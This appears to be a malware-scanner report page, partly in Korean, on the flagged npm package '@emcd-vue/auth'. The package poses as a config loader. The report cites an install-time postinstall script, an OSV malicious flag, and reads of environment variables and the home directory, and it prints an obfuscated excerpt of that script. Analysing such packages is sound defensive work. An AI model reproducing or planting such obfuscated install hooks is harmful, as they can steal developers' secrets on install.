// npm 패키지
@emcd-vue/auth
Internal configuration loader with env, vault and remote config support
주간
0
월간
0
버전
2
메인테이너
1
라이선스
UNLICENSED
최초 publish
2026-06-01
publisher
emcd-vue
tarball
16,598 B
AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-06-01
// exfil path
what is read → where it shipssteals
- ○ home dir
sends to
(no destination string extracted — payload may be dynamic / obfuscated)
evidence in excerpt
> 'use strict';const a0_0x2d7b51=a0_0xed1a;function a0_0xed1a(_0x5cc22b,_0x4a8736){_0x5cc22b=_0x5cc22b-(0x7*-0x2cf+-0x85f*0x2+0x256e);const _0x2e4f44=a0_0x16f9();let _0x52c941=_0x2e4f44[_0x5cc22b];if(a0…// offending code· @6.4.9· 1 file flagged
- @6.4.9··AUTO-PUBLISHED·publisher: emcd-vueheuristic 75/100static flags 2llm skippedinstall-scripts:postinstallnew-publisher:2dosv-flagged:MAL-2026-5163reads-env-varsreads-homedir
// offending code· 1 file flaggedpatterns: 2
--- install scripts --- ### postinstall node scripts/postinstall.js ### prepublishOnly echo 'Building...' --- package/scripts/postinstall.js (excerpt) --- 'use strict';const a0_0x2d7b51=a0_0xed1a;function a0_0xed1a(_0x5cc22b,_0x4a8736){_0x5cc22b=_0x5cc22b-(0x7*-0x2cf+-0x85f*0x2+0x256e);const _0x2e4f44=a0_0x16f9();let _0x52c941=_0x2e4f44[_0x5cc22b];if(a0_0xed1a['NQMODU']===undefined){var _0x5437c5=function(_0x1eb147){const _0x54a87f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x377f14='',_0x40bf12='',_0x2ee8fd=_0x377f14+_0x5437c5,_0x5d888d=(''+function(){return-0x1d*-0x127+0x347+-0x24b2;})['indexOf']('\x0a')!==-(-0x10fd*0x1+0x2*-0x112d+0x3358);for(let _0xc60bcf=-0xcee*-0x1+-0x712+0x177*-0x4,_0x6e9b1b,_0x5b3227,_0x15ab34=-0x118a+-0x1*-0x666+-0x4*-0x2c9;_0x5b3227=_0x1eb147['charAt'](_0x15ab34++);~_0x5b3227&&(_0x6e9b1b=_0xc60bcf%(-0x998*0x2+0x1*0x57+0x12dd)?_0x6e9b1b*(0x22d5+-0x5*-0x527+0x2*-0x1e2c)+_0x5b3227:_0x5b3227,_0xc60bcf++%(0x35*0x41+-0x2*0x8f5+-0xe5*-0x5))?_0x377f14+=_0x5d888d||_0x2ee8fd['charCodeAt'](_0x15ab34+(-0x1*0x5c1+0x260a+-0x203f))-(-0x19d9+-0xf25+0xca*0x34)!==-0x62*-0x29+-0x1+-0xfb1?String['fromCharCode'](-0x10*-0x1d7+0x25d6+0x4247*-0x1&_0x6e9b1b>>(-(0x15d*-0xc+-0x2088+0x472*0xb)*_0xc60bcf&0x2*0xfc6+0x41*-0x57+-0x96f)):_0xc60bcf:-0x2308+-0x7*-0x499+0xf3*0x3){_0x5b3227=_0x54a87f['indexOf'](_0x5b3227);}for(let _0x2ce2af=-0x3*-0x26a+-0x1d3b+-0x15fd*-0x1,_0x3cc665=_0x377f14['length'];_0x2ce2af<_0x3cc665;_0x2ce2af++){_0x40bf12+='%'+('00'+_0x377f14['charCodeAt'](_0x2ce2af)['toString'](-0x1617+-0x1b9b+0xc1*0x42))['slice'](-(-0x3b*-0x8b+-0x2*0xed+-0x1e2d));}return decodeURIComponent(_0x40bf12) --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- dist/index.d.ts (bundled) --- export interface ConfigOptions { env?: 'development' | 'staging' | 'production'; envFile?: string; remoteUrl?: string; defaults?: Record<string, unknown>; strict?: boolean; required?: string[]; } export function loadConfig(options?: ConfigOptions): Promise<Record<string, unknown>>; export function get(key: string, defaultValue?: unknown): unknown; export function getInt(key: string, defaultValue?: number): number; export function getBool(key: string, defaultValue?: boolean): boolean; export function parseEnvFile(content: string): Record<string, string>; --- dist/index.js (bundled) --- 'use strict'; // dist/index.js module.exports = require('../src/index.js');
